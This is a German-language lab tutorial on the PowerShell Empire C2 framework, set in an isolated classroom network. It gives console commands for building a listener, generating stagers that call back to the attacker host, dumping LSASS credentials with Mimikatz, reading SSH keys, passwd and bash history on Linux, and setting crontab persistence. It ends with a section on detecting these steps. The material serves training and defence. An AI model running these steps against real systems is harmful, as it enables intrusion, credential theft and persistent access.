PowerShell Empire
PowerShell Empire
ℹ️ Hinweis: Alle folgenden Schritte finden ausschließlich im isolierten Lab-Netz (secure.local, 10.0.10.0/24) statt. Empire ist ein Dual-Use-Werkzeug – Einsatz nur gegen Systeme, für die eine ausdrückliche Freigabe vorliegt.
Was ist Empire?
Empire ist ein Post-Exploitation- und Command-and-Control-Framework (C2) für Red-Team-Arbeit und Adversary Emulation. Der entscheidende Punkt für das Verständnis:
- Empire verschafft dir keinen Zugang – Empire nutzt einen bereits vorhandenen Zugang aus.
Der typische Angriffsablauf zerfällt in zwei Phasen:
| Phase | Frage | Werkzeug (Beispiel) |
|---|---|---|
| Initial Access | „Wie komme ich rein?" | Exploit, Phishing, geklaute Zugangsdaten (z. B. Metasploit) |
| Post-Exploitation | „Ich bin drin – was jetzt?" | Empire (C2, Tasking, Persistenz, Credential-Zugriff, Lateral Movement, Exfiltration) |
Genau diese zweite Phase ist das, was Teilnehmer oft unterschätzen: Der erste Treffer ist selten das Ziel, sondern nur der Anfang. Empire macht sichtbar, wie aus einem einzelnen kompromittierten Rechner die Kontrolle über ein ganzes Netz wird.
Empire ging aus zwei älteren Projekten hervor (PowerShell Empire und Python EmPyre). Das Original wurde 2019 eingestellt; seither pflegt BC-Security den aktiven Fork. Aktueller Stand: Empire 6.x (benötigt mindestens Python 3.13). In Kali ist es paketiert:
sudo apt install powershell-empire
Architektur
Empire arbeitet nach dem Team-Server-Prinzip – ein zentraler Server, an den sich mehrere Operatoren (und die kompromittierten Rechner) anmelden:
- Server → Listener → Stager → Agent → Tasking → Module
| Baustein | Funktion |
|---|---|
| Team-Server | Zentrale Steuerung, REST-API (Standard-Port 1337). Läuft im Lab auf kali-innen (10.0.10.101).
|
| Client / Starkiller | Bedienoberfläche – CLI oder die grafische Weboberfläche Starkiller. |
| Listener | Nimmt Rückverbindungen der Agenten entgegen (HTTP, HTTPS, ...). |
| Stager | Kleiner Erstcode, der auf dem Ziel läuft und den vollständigen Agenten nachlädt. |
| Agent | Der eigentliche Implantatprozess auf dem Ziel. Zwei Welten: PowerShell-Agent (Windows, ohne powershell.exe) und Python-Agent (Linux/macOS).
|
| Modul | Fertige Post-Ex-Funktion (Enumeration, Credential-Zugriff, Persistenz, Pivoting ...). |
Dass es einen PowerShell- und einen Python-Agenten gibt, ist der Grund, warum wir Empire sowohl gegen ein Windows- als auch gegen ein Linux-Ziel zeigen können (Übung 1 und 2).
Einordnung: Womit konkurriert Empire?
Empire ist eines von vielen C2-Frameworks. Wo es steht, sieht man am besten im Vergleich:
| Framework | Lizenz | Agent / Kern | Stärke | Bemerkung |
|---|---|---|---|---|
| Empire | Open Source | PowerShell + Python | Riesige Post-Ex-/AD-Modulbibliothek, ideal zum Lernen | PowerShell-lastig → wird von modernem AMSI/EDR gut erkannt |
| Cobalt Strike | Kommerziell (Fortra), ca. 3.500 $/Nutzer im 1. Jahr, ~2.585 $ Verlängerung; Käuferprüfung | Beacon | „Goldstandard", Malleable C2, Team-Kollaboration | Von realen APT-Gruppen am häufigsten missbraucht |
| Metasploit / Meterpreter | Open Source / Pro | Meterpreter | Breite Exploit-Sammlung, alles aus einer Hand | Eher exploit- als C2-zentriert |
| Sliver (Bishop Fox) | Open Source | Go, cross-platform | Modern, mTLS/HTTP(S)/DNS/WireGuard, guter CS-Ersatz | Aktueller Liebling vieler Red Teams |
| Mythic | Open Source | modular, viele Agenten | Sehr flexibel, sauberes Web-UI | Baukasten-Prinzip |
| Havoc | Open Source | Demon | Modern, Fokus auf EDR-Evasion | Jung, schnell gewachsen |
| PoshC2 | Open Source | PowerShell + Python | Ähnliche Nische wie Empire | Direkte Alternative |
| Brute Ratel | Kommerziell | Badger | Stark auf EDR-Umgehung getrimmt | Ebenfalls in kriminellem Umlauf |
Fazit für den Unterricht: Empire ist kostenlos, extrem gut dokumentiert und hat eine der umfangreichsten Post-Ex-Modulbibliotheken – deshalb ist es ein hervorragendes Lehr- und Detektions-Werkzeug. Für maximale Tarnung gegen aktuelle EDR sind Teams weiter zu Sliver/Havoc/Mythic bzw. Cobalt Strike gewandert. Für „verstehen, wie C2 funktioniert und wie man es erkennt" ist Empire aber genau richtig.
Voraussetzungen im Lab
| Rolle | Host | IP |
|---|---|---|
| Empire-Server / Angreifer | kali-innen |
10.0.10.101
|
| Windows-Ziel (Übung 1) | win2k8 / win11 |
10.0.10.107 / 10.0.10.102
|
| Linux-Ziel (Übung 2) | opfer / userver |
10.0.10.104 / 10.0.10.103
|
Empire-Server und Client starten (auf kali-innen):
# Terminal 1 – Team-Server
powershell-empire server
# Terminal 2 – Client
powershell-empire client
- Hinweis: Der genaue Befehlssatz kann sich je nach Empire-Version leicht unterscheiden. Im Zweifel im jeweiligen Menü
helpeingeben.
Übung 1 – Windows-Ziel (PowerShell-Agent)
Lernziel: Post-Exploitation auf Windows – vom Foothold zum Credential-Zugriff – und der Aha-Moment, warum ein Altsystem „Game Over" bedeutet.
1.1 Listener bauen
(Empire) > uselistener http
(Empire)(uselistener/http) > set Name lab_http
(Empire)(uselistener/http) > set Host http://10.0.10.101
(Empire)(uselistener/http) > set Port 8080
(Empire)(uselistener/http) > execute
(Empire) > listeners
1.2 Stager erzeugen und auf dem Ziel ausführen
(Empire) > usestager windows/launcher_bat
(Empire)(usestager/...) > set Listener lab_http
(Empire)(usestager/...) > generate
Den erzeugten Stager im Lab auf dem Windows-Ziel ausführen (bei uns bewusst der klassische Weg – im Unterricht startet man ihn direkt auf der VM). Kurz darauf meldet sich der Agent.
1.3 Agent übernehmen und Lage sondieren
(Empire) > agents
(Empire) > interact <AGENT_NAME>
(Empire)(<AGENT>) > info
(Empire)(<AGENT>) > shell whoami
(Empire)(<AGENT>) > shell hostname
(Empire)(<AGENT>) > sysinfo
1.4 Der Payoff: Credential-Zugriff
Auf win2k8 (kein Credential Guard, kein AMSI) läuft das sauber durch:
(Empire)(<AGENT>) > usemodule powershell/credentials/mimikatz/logonpasswords
(Empire)(usemodule/...) > execute
Empire lädt Mimikatz im Speicher (ohne Datei auf Platte) und liest Klartext-/Hash-Anmeldedaten aus dem LSASS aus. Das ist der Moment, an dem die Post-Ex-Power greifbar wird: aus „ein Nutzer kompromittiert" wird „weitere Zugänge in der Hand".
1.5 Die Gegenprobe: dasselbe auf win11
Denselben Ablauf auf win11 (10.0.10.102) fahren. Ergebnis: der Standard-Launcher bzw. das Mimikatz-Modul wird von AMSI/Defender geblockt, LSASS ist durch Credential Guard / PPL geschützt. Genau hier springt die Blue-Team-Perspektive an – Thema: Evasion vs. Detection, und warum Patch-Stand und moderne Schutzmechanismen den Unterschied machen.
Übung 2 – Linux-Ziel (Python-Agent)
Lernziel: Empire ist nicht „nur Windows". Der Python-Agent zeigt Post-Exploitation auf einem Linux-Server – Enumeration, Beute sichern, Persistenz.
- Zielwahl: modernes Debian (
opfer/userver) mit Python 3.metasploitablehat nur Python 2 und eignet sich für den Metasploit-Teil (Initial Access), nicht für den aktuellen Empire-Python-Agenten.
2.1 Listener (falls nicht aus Übung 1 vorhanden)
(Empire) > uselistener http
(Empire)(uselistener/http) > set Name lab_http
(Empire)(uselistener/http) > set Host http://10.0.10.101
(Empire)(uselistener/http) > set Port 8080
(Empire)(uselistener/http) > execute
2.2 Python-Stager erzeugen und ausführen
(Empire) > usestager multi/bash
(Empire)(usestager/...) > set Listener lab_http
(Empire)(usestager/...) > generate
Den Einzeiler im Lab auf dem Linux-Ziel ausführen (im Unterricht direkt auf der VM). Der Python-Agent verbindet sich zurück.
2.3 Agent übernehmen und Linux-Enumeration
(Empire) > agents
(Empire) > interact <AGENT_NAME>
(Empire)(<AGENT>) > shell id
(Empire)(<AGENT>) > shell uname -a
(Empire)(<AGENT>) > shell sudo -l
(Empire)(<AGENT>) > shell cat /etc/passwd
(Empire)(<AGENT>) > shell ls -la ~/.ssh
(Empire)(<AGENT>) > shell cat ~/.bash_history
Lehrpunkt: Post-Ex-Tradecraft ist betriebssystemspezifisch – unter Linux sucht man nach sudo-Rechten, SSH-Schlüsseln, Cron-Jobs und History, nicht nach LSASS. Empire vereinheitlicht nur die Steuerung darüber.
2.4 Persistenz zeigen
(Empire)(<AGENT>) > usemodule python/persistence/multi/crontab
(Empire)(usemodule/...) > info
(Empire)(usemodule/...) > execute
Zeigt, wie sich ein Angreifer über einen Cron-Eintrag dauerhaft festsetzt – und liefert direkt die Vorlage, wonach die Verteidigung suchen muss.
Detektion (Blue-Team-Anschluss)
Beide Übungen lassen sich unmittelbar an SOC/SIEM anbinden – so wird aus dem Angriffs-Lab ein Erkennungs-Lab:
| Beobachtung | Nachweis |
|---|---|
Agent-Beaconing (regelmäßige HTTP-Callbacks zu 10.0.10.101:8080) |
Suricata / Netzwerk-Flow: periodische, gleichförmige Verbindungen |
| PowerShell-Stager / Mimikatz im Speicher | Windows-Eventlog (4104 Script Block Logging, Defender/AMSI-Events) → Wazuh |
| LSASS-Zugriff | Sysmon Event ID 10 (ProcessAccess auf lsass.exe) → Wazuh-Regel |
| Linux-Persistenz per Crontab | Dateiintegritäts-/Auditd-Überwachung von /var/spool/cron, /etc/cron* → Wazuh
|
Merksatz / didaktischer Kern
- Exploit ≠ Post-Exploitation.
- Der Exploit öffnet die Tür. Empire ist alles, was danach im Haus passiert – und genau deshalb ist Post-Ex die Phase, die man erkennen können muss.